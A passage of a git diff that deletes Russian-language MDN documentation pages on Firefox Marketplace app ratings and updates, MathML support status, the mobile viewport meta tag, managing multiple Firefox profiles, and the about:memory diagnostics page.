USKGermany
GenericUsed for all other countries
- -

What’s in a Content Rating?

- -

The rating system provides users with three types of information:

- - - -

The rating process is free to developers, takes only a few minutes, and is integrated with the Firefox Marketplace submission process and developer dashboard.  Before an app can be reviewed, it must have a rating. Users see the rating of an app appropriate for their region on the app details page, and may find out more information should they choose to know more.

- -

Obtaining a Content Rating for Your App

- -

IARC has provided a free game-rating tool that is simple and for most apps, takes less than five minutes. In this section we'll review the process.

- -
-

Note: We unfortunately cannot accept rating certificates from other systems; if your app already has a rating from another system you'll still need to go through the IARC certificate process.

-
- -
    -
  1. Log into the Firefox Marketplace developer site; the rating tool may only be accessed when you are logged in as a developer.
  2. -
  3. -

    Access the IARC Rating tool during the submission process:

    - -

    Demonstrates where in the app submission flow where ratings can be entered.

    - -

    or from the Dev Dashboard:

    - -

    -
  4. -
  5. -

    Start the rating process:

    - -

    - -

    or enter your information for an existing rating:

    - -

    -
  6. -
  7. -

    Fill out the short questionnaire:

    - -

    -
  8. -
  9. -

    Add additional information about your app:

    - -

    -
  10. -
  11. -

    Preview and confirm your rating information:

    - -

    -
  12. -
  13. -

    Return to the developer dashboard and you should see your rating information. You are ready to go!

    -
  14. -
- -
-

Note: You will receive an email with your rating certificate and security code.  Please keep a copy for your records.

-
- -

More information

- -

If you have questions about the rating process, how to answer the questionnaire, or if you think your rating is incorrect, please email the IARC team at dev-questions@globalratings.com.  Additional information is also available on the global ratings website.

- -

If you have any other questions, you can get in touch with Mozilla's app review team at mozilla.appreview.

diff --git a/files/ru/mozilla/marketplace/publishing/updating_apps/index.html b/files/ru/mozilla/marketplace/publishing/updating_apps/index.html deleted file mode 100644 index 5c2b477ba6..0000000000 --- a/files/ru/mozilla/marketplace/publishing/updating_apps/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Обновление приложений -slug: Mozilla/Marketplace/Publishing/Updating_apps -translation_of: Archive/Mozilla/Marketplace/Publishing/Updating_apps ---- -
-

This article explains the process by which you update published apps, either self-published or published on the Firefox Marketplace.

-
-
-

Once an app has been installed by a user it's not possible to change the app name through an update. New installations will, however, pick up the new app name. This is a security measure to guard against unscrupulous name changes.

-
-

Updating Hosted Apps

-

Hosted Apps respect the normal rules for Web caching, and may use advanced mechanisms for improved start-up or to enable offline use, such as AppCache. Given this, there are normally no special considerations for updating these apps — you simply update the app on your site.

-

However, some changes to your apps may involve updates to the manifest.

-

Changing a manifest’s content

-

To update features of a published app — such as the app name, developer name, locales, icons or app name — you simply apply these changes to the manifest you host. If you've submitted the app to Firefox Marketplace and any of these changes are considered significant the app is flagged for review.

-

The Web runtimes and Firefox OS should automatically detect these changes and trigger an update on the user’s device. However, you can manually trigger updates by providing a version field in the app manifest. Your app can then check the version by inspecting the return value of {{ domxref("Apps.getInstalled") }}. If the user's installed version is not up-to-date, your app can trigger an update using {{ domxref("Apps.install") }}. Note that some changes to a manifest, and hence the installation, may require user approval before the update is actioned.

-

The value of version isn't used by Firefox OS or the Web runtimes, so you can use whatever version scheme you want.

-

Changing a manifest's location

-

You may wish to change the location of your app’s manifest file. Typically you'll do this to move the app to a new domain or to a sub-domain to enable you to deliver multiple hosted apps.

-

If you wish to do this for apps submitted to Firefox Marketplace, return to the app submission and on the Edit Details page change the Manifest URL value. What happens next will depend on the status of your app:

- -

Reviews of updated apps

-

When a Hosted App is flagged for review as the result of an update, the following happens:

- -
-

Where possible you should avoid changing the location of the app/manifest after your app has been published in the Firefox Marketplace. This is because of the impact on the user. A change in the manifest location will result in a new installed instance of the app when {{ domxref("Apps.install") }} is invoked. Many users will find this confusing.

-
-

Обновление упакованных приложений

-

Упакованные приложения have a different update process to Hosted Apps. To update a Packaged App, you upload a new version of the app's zip file to the Firefox Marketplace. The updated app is then reviewed and, when approved, published to the Marketplace. This triggers an update to any installed versions. Firefox OS device users can also request an update using the Settings app.  To upload a new version of your application, sign in to marketplace with the same account as the original submission by clicking on the gear icon in the top right and clicking "My Submissions."  Under the header "Manage My Submissions" and the app in question, click "Status & Versions."  From there, scroll down and click on "Select a File" under "Upload New Version."  From there, you can choose not have an app automatically published upon review if you wish by unchecking the box that reads "Publish my app in the Firefox Marketplace as soon as it's reviewed."  Users' devices will check daily for app updates, and will see a notification that an update for their app is available for download at their discretion.

-

Would you like to publish to marketplace upon review?

- diff --git a/files/ru/mozilla/marketplace/submission/index.html b/files/ru/mozilla/marketplace/submission/index.html deleted file mode 100644 index 1c01f1e00d..0000000000 --- a/files/ru/mozilla/marketplace/submission/index.html +++ /dev/null @@ -1,9 +0,0 @@ ---- -title: Submission -slug: Mozilla/Marketplace/Submission -tags: - - NeedsTranslation - - TopicStub -translation_of: Archive/Mozilla/Marketplace/Submission ---- -

Marketplace submission

diff --git a/files/ru/mozilla/mathml_project/index.html b/files/ru/mozilla/mathml_project/index.html deleted file mode 100644 index 7ebc07b2e9..0000000000 --- a/files/ru/mozilla/mathml_project/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Проект MathML сообщества Mozilla -slug: Mozilla/MathML_Project -tags: - - MathML - - MathML Project - - Mozilla -translation_of: Mozilla/MathML_Project ---- -

Проект MathML сообщества Mozilla представляет собой проект Mozilla по созданию и расширению поддержки MathML в Firefox и других приложениях на базе Mozilla. Смотрите краткий обзор слайдов для инновационных ярмарок на саммите Mozilla 2013.

- -

Обновления

- -

Mathzilla

- - - -

Сообщество

- - - -

Ссылки

- - - -

Примеры документов MathML

- - - -

Создание документов MathML

- - - -
-

Информация об исходном документе

- -
    -
  • Автор(ы): Roger B. Sidje
  • -
  • Другие участники: Frédéric Wang
  • -
  • Дата последнего обновления: April 4, 2010
  • -
  • Информация об авторских правах (Copyright): Авторские права на данный контент (© 1999-2010) принадлежат отдельным участникам проекта mozilla.org; Контент доступен в соответствии с лицензией Creative Commons | Details.
  • -
-
- -

 

diff --git a/files/ru/mozilla/mathml_project/mathml_torture_test/index.html b/files/ru/mozilla/mathml_project/mathml_torture_test/index.html deleted file mode 100644 index 9b1989d392..0000000000 --- a/files/ru/mozilla/mathml_project/mathml_torture_test/index.html +++ /dev/null @@ -1,4174 +0,0 @@ ---- -title: Сравнительный тест MathML -slug: Mozilla/MathML_Project/MathML_Torture_Test -tags: - - Intermediate - - MathML -translation_of: Mozilla/MathML_Project/MathML_Torture_Test ---- -

Сравнительный тест MathML

- - - -

Следующий тест содержит примеры формул TeX из книги Кнута (Tex book, Knuth) и эквивалентные представления MathML. Cравнивается рендеринг посредством движка XeTeX с использованием шрифта по умолчанию Latin Modern Math с рендерингом MathML вашего браузера с использованием математического шрифта по умолчанию или альтернативных шрифтов OpenType MATH. Чтобы получить лучший рендеринг, убедитесь, что математические шрифты установлены в вашей системе и используется браузер с поддержкой OpenType MATH, такой как Gecko 31.0.{{GeckoRelease("31.0")}} или выше. Вы также можете попробовать эту тестовую страницу для математических шрифтов OpenType на которой они заменяются веб-шрифтами. Наконец, вы можете проверить эту таблицу, в которой сравнивается результат чтения тестовых формул различными программами чтения с экрана для браузеров Mozilla.

- -

{{ EmbedLiveSample('MathML_Torture_Test') }}

- -
 
diff --git a/files/ru/mozilla/mathml_project/status/index.html b/files/ru/mozilla/mathml_project/status/index.html deleted file mode 100644 index 7c94d73439..0000000000 --- a/files/ru/mozilla/mathml_project/status/index.html +++ /dev/null @@ -1,341 +0,0 @@ ---- -title: Статус поддержки MathML в контексте проекта Mozilla -slug: Mozilla/MathML_Project/Status -tags: - - MathML - - MathML Project -translation_of: Mozilla/MathML_Project/Status ---- -

Обзор элементов/атрибутов MathML 3 - исключая устаревшие - и текущее состояние встроенной поддержки. Приведены ссылки на MathML 3. Разделы отмечены их текущим статусом: поддерживается, в разработке, и не поддерживается в настоящее время. Разделы, относящиеся к семантике/содержанию MathML или к чему-то нерелевантному, оставлены пустыми или не перечислены вообще. Если реализованы только основные атрибуты элемента, то он помечается как поддерживаемый, но подробности о неподдерживаемых его атрибутах указаны ниже.

- -

Элемент верхнего уровня math

- -

Смотрите § 2.2.

- - - - - - - - - - - - - - - - - - - - - - - - -
АтрибутПримечания
displayРеализован.
maxwidth, overflowНе реализован. Смотрите {{ Bug("534962") }}.
altimg, altimg-width, altimg-height, altimg-valign, alttextИспользование допускается, но не оказывает никакого влияния на рендеринг. MathML всегда доступен, так как имеет место {{ Bug("660762") }}.
cdgroupИспользование допускается, но не оказывает никакого влияния на рендеринг.
- -

Атрибуты, общие для всех элементов MathML

- -

Смотрите § 2.1.6 и § 3.1.10.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
АтрибутПримечания
id, class, styleРеализованы.
xrefИспользование допускается, но не оказывает никакого влияния на рендеринг.
hrefРеализован.  Пользовательский интерфейс работает корректно в Seamonkey, но не в Firefox. Смотрите {{ Bug("958957") }}.
mathcolorРеализован.
mathbackgroundРеализован.
- -

Token Elements

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Element [- attribute]Notes
miImplemented. The mathvariant attribute is fully supported starting with {{geckoRelease("28.0")}}. See {{ Bug("114365") }}.
mnImplemented.
moImplemented.
mo - linebreaking attributes, indentation attributesNot implemented. See {{ Bug("534962") }}.
mtextImplemented.
mspaceImplemented.
mspace - linebreakNot implemented. See {{ Bug("380266") }}.
msImplemented.
- -

General Layout Schemata

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ElementNotes
mrowImplemented.
mfracImplemented.
msqrtImplemented.
mrootImplemented.
mstyleImplemented. We are only interested in supporting attributes "inherited from the surrounding context", which are those effectively used in practice.  See bug 838509.
merrorImplemented.
mpaddedImplemented.
mphantomImplemented.
mfencedImplemented.
mencloseImplemented.
- -

Script and Limit Schemata

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Element [- attribute]Notes
msubImplemented.
msupImplemented.
msubsupImplemented.
munderImplemented.
moverImplemented.
munderoverImplemented.
mmultiscriptsImplemented.
- -

Tabular Math

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Element [- attribute]Notes
mtableImplemented.
mtable - alignmentscopeNot implemented. See {{ Bug("122253") }}.
mtable - columnspacing, rowspacing, framespacingImplemented. See {{ Bug("330964") }}.
mtable - columnwidthNot implemented. See {{ Bug("958953") }}.
mtable - equalrows, equalcolumnsNot implemented. See {{ Bug("958954") }}.
mtable - side, minlabelspacingNot implemented. See {{ Bug("356870") }}.
mtrImplemented.
mlabeledtrNot Implemented. See {{ Bug("689641") }}.
mtdImplemented.
* - groupalign.Not implemented. See {{ Bug("122253") }}.
maligngroupNot implemented. See {{ Bug("122253") }}.
malignmarkNot implemented. See {{ Bug("122253") }}.
- -

Elementary Math

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Element [- attribute]Notes
mstackNot implemented. See {{ Bug("534967") }}.
mlongdivNot implemented. See {{ Bug("534967") }}.
msgroupNot implemented. See {{ Bug("534967") }}.
msrowNot implemented. See {{ Bug("534967") }}.
mscarriesNot implemented. See {{ Bug("534967") }}.
mscarryNot implemented. See {{ Bug("534967") }}.
mslineNot implemented. See {{ Bug("534967") }}.
- -

Other elements

- - - - - - - - - - - - - - - - - - - - - - - - -
Element [- attribute]Notes
mglyphNot implemented. See {{ Bug("297465") }}.
mactionImplemented.
maction - tooltipNot implemented. See {{ Bug("544001") }}.
semanticsImplemented.
- -
-

Original Document Information

- -
    -
  • Author(s): Frédéric Wang
  • -
  • Other Contributors:
  • -
  • Copyright Information: Portions of this content are © 2010 by individual mozilla.org contributors; content available under a Creative Commons license | Details.
  • -
-
- -

 

diff --git a/files/ru/mozilla/mobile/index.html b/files/ru/mozilla/mobile/index.html deleted file mode 100644 index 0c27a429bc..0000000000 --- a/files/ru/mozilla/mobile/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Mobile -slug: Mozilla/Mobile -tags: - - Mozilla -translation_of: Mozilla/Mobile ---- -

Firefox OS

- -

Firefox OS является мобильной операционной системой с открытым исходным кодом, которая использует Linux и движок Gecko Mozilla, чтобы запускать пользовательский интерфейс и набор приложений, написанных полностью на HTML, CSS и JavaScript.

- -

Читайте о том, как установить Firefox OS и как разрабатывать приложения для нее.

- -

Firefox для Android

- -

Firefox для Android является мобильным веб-браузером Mozilla для Android-устройств. Он  был недавно  переписан, чтобы использовать собственный интерфейс Android, что делает его более быстрым, более компактным и более отзывчивым. Он обеспечивает поддержку мощных API-интерфейсов для доступа к возможностям устройств, таких как стеки камеры и телефонии.

- -

Читайте о том, как помочь создать Firefox для Android, как использовать его API-интерфейсы устройств, и как создавать мобильные дополнения.

- -

Firefox для iOS

- -

Firefox для iOS является предстоящим мобильным веб-браузером от Mozilla для iOS устройств. Из-за ограничений AppStore, он использует компоненты встроенные в WebView, поставляемые iOS, а не Gecko.

- -

Читайте о том, как помочь с Firefox для iOS, и как интегрировать его с другими iOS-приложениями.

- -

Mobile web development

- -

У мобильные устройств  разные аппаратные характеристики, отличающиеся от настольных или портативных компьютеров, и многие из API-интерфейсов, используемых для работы с ними все еще находятся в процессе стандартизации.

- -

Читайте о том, как разрабатывать веб-сайты, которые хорошо смотрятся на мобильных устройствах и воспользоваться новыми возможностями, которые они предлагают. Узнайте, как убедиться, что ваш веб-сайт хорошо работает на различных браузерах.

diff --git a/files/ru/mozilla/mobile/viewport_meta_tag/index.html b/files/ru/mozilla/mobile/viewport_meta_tag/index.html deleted file mode 100644 index c16a6df3a4..0000000000 --- a/files/ru/mozilla/mobile/viewport_meta_tag/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: >- - Использование метатега viewport для управления разметкой на мобильных - браузерах -slug: Mozilla/Mobile/Viewport_meta_tag -translation_of: Mozilla/Mobile/Viewport_meta_tag ---- -

Введение

- -

Мобильные браузеры отображают страницы в виртуальном «окне» (viewport, вьюпорт), которое, как правило, шире экрана устройства. Поэтому им не нужно сжимать макет каждой страницы в крошечное окно (что может сломать многие сайты, не оптимизированные под мобильные устройства). Пользователи могут изменять и масштабировать видимую область, чтобы видеть разные части страницы.

- -

В мобильной версии Safari появился "мета тег viewport" (viewport meta tag), который позволяет веб-разработчикам контролировать размер окна просмотра и масштаб страницы. Многие другие мобильные браузеры также поддерживают этот тег, хотя он не является частью какого-либо веб-стандарта. Документация Apple хорошо описывает, как веб-разработчики могут пользоваться этим тегом. Но мы должны были провести расследование, чтобы точно выяснить, как его можно реализовать в Fennec. Например, в документации к Safari сказано, что контент представляет собой «список значений, разделенных запятыми», но существующие браузеры и веб-страницы используют любое сочетание запятых, точек с запятой и пробелов в качестве разделителей.

- -

Узнать больше о вьюпортах в разных мобильных браузерах можно в Рассказе о Двух Viewport'ах на quirksmode.org.

- -

Основы Viewport

- -

Типичный сайт, оптимизированный для мобильных устройств, содержит следующий мета-тег:

- -
<meta name="viewport" content="width=device-width, initial-scale=1">
-
- -

Свойство width определяет размер окна просмотра. Он может быть установлен на определенное количество пикселей, скажем, width=600 или на специальное значение device-width, которое означает ширину экрана в пикселях CSS в масштабе 100%. (Есть также соответствующие значения height и device-height, которые могут быть полезны для страниц с элементами, которые изменяют размер или положение на основе высоты окна просмотра).

- -

Свойство initial-scale контролирует уровень масштабирования при первой загрузке страницы. Свойства maximum-scale, minimum-scale и user-scalable определяют, как пользователям разрешено увеличивать или уменьшать страницу.

- -
-

Использование user-scalable=no может вызвать проблемы с просмотром у пользователей с плохим зрением.

-
- -

Пиксель это не пиксель

- -

В последние годы разрешение экрана увеличилось до такого размера, что отдельные пиксели трудно отличить человеческим глазом. Например, последние смартфоны обычно имеют 5-дюймовые экраны с разрешением выше 1920-1080 пикселей (~400 точек на дюйм). Из-за этого многие браузеры могут отображать свои страницы в меньшем физическом размере, переведя несколько аппаратных пикселей для каждого пикселя CSS. Первоначально это вызывало проблемы удобства использования и удобства чтения на многих веб-сайтах, оптимизированных для сенсорного экрана. Питер-Пол Кох написал об этой проблеме в «Пиксель это не пиксель».

- -

На экранах с высоким разрешением экрана страницы с initial-scale=1 будут эффективно масштабироваться браузерами. Их текст будет плавным и четким, но их растровые изображения, вероятно, не будут использовать полное разрешение экрана. Чтобы получить более четкие изображения на этих экранах, веб-разработчики могут создать изображения - или целые макеты - в более высоком масштабе, чем их конечный размер, а затем масштабировать их с помощью свойств CSS или viewport. Это соответствует спецификации CSS 2.1, которая гласит:

- -
-

Если плотность пикселей устройства вывода сильно отличается от плотности изображения на типичном дисплее компьютера, пользовательский агент должен масштабировать значения пикселей. Рекомендуется, чтобы блок пикселей ссылался на все количество пикселей устройства, которые наилучшим образом приближаются к опорному пикселю. Рекомендуется, чтобы опорный пиксель представлял собой угол зрения одного пикселя на устройстве с плотностью пикселей 96dpi и расстоянием от считывателя длины руки.

-
- -

Для веб-разработчиков это означает, что размер страницы намного меньше, чем фактическое количество пикселей, и браузеры могут соответственно изменять их макеты и изображения. Но помните, что не все мобильные устройства имеют одинаковую ширину; Вы должны следить за тем, чтобы ваши страницы хорошо работали при большом изменении размеров и ориентации экрана.

- -

Отношение пикселей по умолчанию зависит от плотности дисплея. На дисплее с плотностью менее 200 точек на дюйм отношение равно 1.0. На дисплеях с плотностью от 200 до 300 точек на дюйм отношение равно 1.5. Для дисплеев с плотностью более 300 точек на дюйм отношение представляет собой целостный пол (плотность / 150 точек на дюйм). Обратите внимание, что коэффициент по умолчанию равен true только тогда, когда масштаб viewport равен 1. В противном случае соотношение между пикселями CSS и пикселями устройства зависит от текущего уровня масштабирования.

- -

Ширина Viewport и ширина экрана

- -

Сайты могут устанавливать свой viewport на определенный размер. Например, определение «width=320, initial-scale=1» может использоваться для точного размещения на маленьком дисплее телефона в портретном режиме. Это может вызвать проблемы, когда браузер не отображает страницу большего размера. Чтобы исправить это, браузеры, если необходимо, увеличат ширину окна просмотра, чтобы заполнить экран по заданной шкале. Это особенно полезно для устройств с большим экраном, таких как iPad. (Аллен Пайк Выбор видового экрана для IPad сайтов дает хорошее объяснение для веб-разработчиков.)

- -

Для страниц, задающих начальный или максимальный масштаб, это значит, что свойство width фактически переводит в минимальную ширину viewport. Например, если ваш макет должен иметь ширину не менее 500 пикселей, вы можете использовать следующую разметку. Когда экран шириной более 500 пикселей, браузер будет расширять область просмотра (а не увеличивать), чтобы она соответствовала экрану:

- -
<meta name="viewport" content="width=500, initial-scale=1">
- -

Другими доступными атрибутами являются minimum-scale, maximum-scale, и user-scalable. Эти свойства влияют на начальный масштаб и ширину, а также ограничивают изменения уровня масштабирования.

- -

Не все мобильные браузеры обрабатывают изменения ориентации таким же образом. Например, Mobile Safari часто просто увеличивает масштаб страницы при смене с вертикальной ориентации на горизонтальную, вместо того, чтобы выкладывать страницу так, как если бы она была первоначально загружена в "ландшафт". Если веб-разработчики хотят, чтобы их настройки масштаба оставались неизменными при переключении ориентации на iPhone, они должны добавить значение maximum-scale, чтобы предотвратить это масштабирование, которое иногда имеет нежелательный побочный эффект, который мешает пользователям изменять масштаб:

- -
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
- -

Чтобы убрать это небольшое масштабирование, которое делают многие смартфоны, установите настройки начального масштаба и минимального масштаба равные 0.86. В этом случае горизонтальная полоса прокрутки будет убираться в любом положении экрана, и пользователь теперь сможет масштабировать экран свободно.

- -
<meta name="viewport" content="width=device-width, initial-scale=0.86, maximum-scale=3.0, minimum-scale=0.86">
- -

Общепринятые viewport для мобильных и планшетных устройств

- -

Если вы хотите знать, какие мобильные и планшетные устройства имеют ширину viewport, здесь представлен полный список размеров видовых экранов для мобильных устройств и планшетов. Это дает такую информацию, как ширина видового экрана на вертикальной и горизонтальной ориентации, а также физический размер экрана, операционную систему и плотность пикселей устройства.

- -

Спецификации

- - - - - - - - - - - - - - - - -
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Device', '#viewport-meta', '<meta name="viewport">')}}{{Spec2('CSS3 Device')}}В ненормативном порядке описывается элемент Viewport META
- -

Существует явный спрос на метатег viewport, поскольку он поддерживается большинством популярных мобильных браузеров и используется тысячами веб-сайтов. Было бы неплохо иметь настоящий стандарт для веб-страниц для управления свойствами viewport. По мере того, как продолжается процесс стандартизации, мы будем писать в Mozilla об его стадиях, чтобы вы были в курсе любых изменений.

diff --git a/files/ru/mozilla/multiple_firefox_profiles/index.html b/files/ru/mozilla/multiple_firefox_profiles/index.html deleted file mode 100644 index 684802e9d2..0000000000 --- a/files/ru/mozilla/multiple_firefox_profiles/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Multiple Firefox profiles -slug: Mozilla/Multiple_Firefox_Profiles -translation_of: Mozilla/Firefox/Multiple_profiles ---- -

{{ draft() }}

-

A profile in Firefox is the collection of settings, customizations, and personalizations that a user has made in the program. You can find details about Profiles on Mozilla's end-user support site.

-

Reasons to have multiple profiles

-

The casual user may want to have different profiles for different family members. Having different profiles would allow each person to have his or her own set of bookmarks, settings, and add-ons.

-

Web developers might want a secondary profile for testing websites, apps, or other projects on different Firefox channels. For example, you might want to have the Firebug add-on installed for Web development, but not for general-purpose Web browsing. While using the Nightly channel, you may encounter some add-ons that have become temporarily incompatible with new API changes, until the add-on developer has a chance to update them. You can remove such add-ons from your profile for Nightly use, while keeping them for use with other profiles.

-

For QA, testing, and bug triaging contributors, you may want to have multiple development versions of Firefox installed, each with its own profile. Creating new profiles for testing can keep you from losing your preferences, bookmarks, and history. It takes some time to set up a new profile, but once it is complete, all of your Firefox versions will update separately and can be run simultanesouly.

-

Available browser development channels

-

There are four available browser channels, each at a different level of stability and development. The four channels are Release, Beta, Aurora, and Nightly. The Release channel is recommended for most users, as it is the "official release" channel. However, for those more adventurous, you can try one of the other three channels to see what is coming in Firefox and play around with emerging features. The Beta channel contains the features that are expected to be in the next release of Firefox and are in final stages of testing. Aurora contains experimental features, which are not yet at beta quality. Nightly contains the latest code from Firefox developers and is the least stable channel.

-

Profile management

-

{{ Note("On all operating systems, before you can start the Profile Manager, Firefox must be completely closed.") }}

-

These instructions are tentatively going away in favor of a new profile manager. You can find more details at Profile Manager

-

Starting Profile Manager in Windows

-

Windows XP

-
    -
  1. Click the Start button
  2. -
  3. Click "Run"
  4. -
  5. Type "firefox -ProfileManager"
  6. -
-

Windows Vista/7

-
    -
  1. Click the Start button
  2. -
  3. Click the search bar at the bottom.
  4. -
  5. Type "firefox -ProfileManager"
  6. -
-

Windows 8/8.1

-
    -
  1. Press "Windows + R" on your keyboard.
  2. -
  3. Type "firefox -ProfileManager".
  4. -
-

If the Profile Manager window does not open, Firefox may have been running in the background, even though it was not visible. Close all instances of Firefox or restart the computer and then try again.

-

Starting Profile Manager in Linux

-

If Firefox is already included in your Linux distribution or if you have installed Firefox with the package manager of your Linux distribution:

-
    -
  1. At the top of the Firefox window, click on the File menu and select Quit.
  2. -
  3. In Terminal run:
    - firefox --ProfileManager
  4. -
-

If the Profile Manager window does not open, Firefox may have been running in the background, even though it was not visible. Close all instances of Firefox or restart the computer and then try again.

-

Starting Profile Manager in Mac OSX

-

Use the following tutorial until someone can test and step-by-step on a mac directly. Easily Run Multiple Firefox Instances on a Mac.

-

Creating a profile

-

These instructions should be the same for all operating systems.

-
    -
  1. To start the Create Profile Wizard, click "Create Profile..." in the Profile Manager.
  2. -
  3. Click Next and enter the name of the profile. Use a profile name that is descriptive, such as your personal name. This name is not exposed on the Internet.
  4. -
  5. You can also choose where to store the profile on your computer. To select storage location, click Choose Folder....
  6. -
  7. {{ Note("If you choose your own folder location for the profile, select a new or empty folder. If you choose a folder that isn't empty and you later remove the profile and choose the \"Delete Files\" option, everything inside that folder will be deleted.") }}
  8. -
  9. To create the new profile, click Finish.
  10. -
-

Deleting a profile

-
    -
  1. In the Profile Manager, select the profile to remove, and click Delete Profile....
  2. -
  3. Confirm that you wish to delete the profile: -
      -
    • Don't Delete Files removes the profile from the Profile Manager yet retains the profile data files on your computer in the storage folder, so that your information is not lost. "Don't Delete Files" is the preferred option because it saves the old profile's folder and allows you to recover the files to a new profile.
    • -
    • Delete Files removes the profile and its files, including the profile bookmarks, settings, passwords, etc. {{ warning("If you use the \"Delete Files\" option, the profile folder and files will be deleted. This action cannot be undone.") }}
    • -
    • Cancel interrupts the profile deletion.
    • -
    -
  4. -
-

Renaming a profile

-
    -
  1. In the Profile Manager, select the profile you want to rename, and then click "Rename Profile".
  2. -
  3. Enter a new name for the profile and click on OK.
  4. -
  5. {{ Note("The folder containing the files for the profile is not renamed. ") }}
  6. -
-

Options

-

Work Offline

-

Choosing this option loads the selected profile and starts Firefox offline. You can view previously viewed web pages and experiment with your profile.

-

Don't ask at startup

-

If you have multiple profiles, Firefox prompts you for the profile to use each time you start Firefox. Select this option to allow Firefox to load the selected profile without prompting at startup.

-

{{ Note("To access other profiles after selecting this option, you must start the Profile Manager first.") }}

-

Using the profiles

-

Windows

-

If you want to have the profile manager to pop up each time you start Firefox, so you can choose a profile, you will need to edit the "Target" of the launch icon. To do this:

-
    -
  1. Right click the icon and choose "Properties".
  2. -
  3. When the properties dialog box pops up, you should see a "Target" text field that you can edit, and it should show the current file path.
  4. -
  5. After the closing quote, add "-ProfileManager"
  6. -
  7. Click Ok.
  8. -
-

Now whenever you double click that icon, the profile manager should appear, allowing you to choose which profile you'd like to use.

-

If you want individual icons to launch specific profiles, you will need to edit the "Target" of each icon. To do this:

-
    -
  1. Right click the icon and choose "Properties".
  2. -
  3. When the properties dialog box pops up, you should see a "Target" text field that you can edit, and it should show the current file path.
  4. -
  5. To permanently set a specific profile, add "-p PROFILE_NAME" to the target path, but outside of the quotes, replacing "PROFILE_NAME" with the actual profile name you chose.
  6. -
  7. If you would like to also allow multiple instances of Firefox to run at the same time, add "-no-remote" after the profile name.
  8. -
-

Once you are all done, click Ok. Do this for each icon you'd like to have a specific profile for. Once done, each one should automatically start with the specified profile.

-

Linux

-

There is no extremely straightforward way to create custom application launchers in Gnome 3 like there was in Gnome 2. The following tutorial will help get you going overall: Gnome 3 Custom application launcher. Once you get to the point of adding a new item, you can have the profile dialog show up every time or set the launcher to launch a specific profile.

-

If you want to have the profile manager to pop up each time you start Firefox, so you can choose a profile, you will need to set the command line for your new launcher.

-
    -
  1. Set the "command" text field to target the executable file, likely "/usr/bin/firefox", and add the "-p" parameter.
  2. -
-

If you want individual icons to launch specific profiles, you will need to set the command line for your new launcher. To do this:

-
    -
  1. Set the "command" text field to target the executable file, likely "/usr/bin/firefox", and add the "-p PROFILE_NAME" parameter, replacing "PROFILE_NAME" with the specific profile.
  2. -
  3. Repeat as necessary for each profile you want to set.
  4. -
  5. If you would like to also allow multiple instances of Firefox to run at the same time, add "-no-remote" after the profile name.
  6. -
-

Mac OSX

-

You can find a useful tutorial to set up custom launchers here: Managing Multiple Firefox Profiles in OSX. Do note it's best to follow all steps in the "Creating the scripts" section, including the "edit Info.plist" step. Leave off the profile name if you want the profile selector to show up every time you launch.

-

Setting up multiple profiles for different Firefox Channels

-

This section will be especially helpful if you are a developer wanting to work with multiple channels and each having their own separate launcher.

-

Windows

-

In Windows, the Aurora and Nightly builds get their own directory in the "Programs" folder, so you don't have to worry about where to store the downloaded files. However, all three will attempt to use the same profile by default, and you'll want to not keep this because the different channels have different levels of features. To set each launcher, follow the Windows instructions at Windows Launcher

-

Linux

-

In Linux, things aren't as automatically set up, and you will likely get a prompt to download a tar.bz2 file to extract from. Extract the files to a new directory and use the new launcher instructions from here. The only change you will need to make is the command path. You will want to set it to the directory you extracted the Firefox channel's tar.bz2 file into, and the executable "firefox" file located within. The remaining profile assignment methods will remain the same. You will want to, for sure, add the "-no-remote" part to the end of the command field, so that you could run multiple instances at the same time.

-

Mac OSX

-

You can find a useful tutorial to set up custom launchers here: Managing Multiple Firefox Profiles in OSX. Do note it's best to follow all steps in the "Creating the scripts" section, including the "edit Info.plist" step. Also you'll want to change the path in the do shell script to point to the correct .app file for the Firefox channel you want to target.

diff --git a/files/ru/mozilla/performance/about_colon_memory/index.html b/files/ru/mozilla/performance/about_colon_memory/index.html deleted file mode 100644 index 6d29937510..0000000000 --- a/files/ru/mozilla/performance/about_colon_memory/index.html +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: 'about:memory' -slug: 'Mozilla/Performance/about:memory' -tags: - - Память - - Производительность - - диагностика -translation_of: 'Mozilla/Performance/about:memory' ---- -

about:memory это специальная страница браузера Firefox, позволяющая просматривать, сохранять, загружать и сравнивать информацию об использовании браузером памяти. Также, она дает возможность проводить другие операции, связанные с памятью, такие как GC и CC, сохранение логов GC & CC и сохранение отчетов DMD. Эта страница присутствует во всех сборках браузера и не требует установки дополнительных программ.

- -

Как создать отчет об используемой памяти

- -

Представим, что вам нужно узнать как и сколько памяти использует Firefox. Возможно, вам нужно провести анализ использования памяти, или кто-то попросил вас воспользоваться страницей about:memory чтобы создать отчет "memory reports" и исследовать имеющуюся у вас проблему. Выполните следующие шаги.

- - - -

Обратите внимание, что в обоих случаях отчет будет содержать такую приватную информацию, как, например, полный список всех ваших открытых вкладок. Если вы не хотите делиться этой информацией, то у чекбокса "anonymize" должна быть проставлена галочка перед тем, как нажимать на "Measure and save..." или "Measure...". Тогда вся приватная информация из отчета будет удалена, но это может усложнить диагностику памяти.

- -

Загрузка memory report из файла

- -

Самый простой способ загрузить memory report из файла, это использовать кнопку "Load...". Еще вы можете использовать кнопку "Load and diff..." чтобы получить diff (сравнение) между двумя отчетами.

- -

Также можно автоматически загрузить одиночный отчет, добавив в адресную сторку параметр file, у которого в качестве значения  прописать путь до файла отчета:

- -
about:memory?file=/home/username/reports.json.gz
-
- -

Это особенно полезно при загрузке отчета, полученного с устройства на Firefox OS. 

- -

Отчеты сохраняются в виде заархивированого JSON. В последствии они могут быть загружены как в виде архива, так и из распокованого JSON файла.

- -

Как интерпретировать memory reports

- -

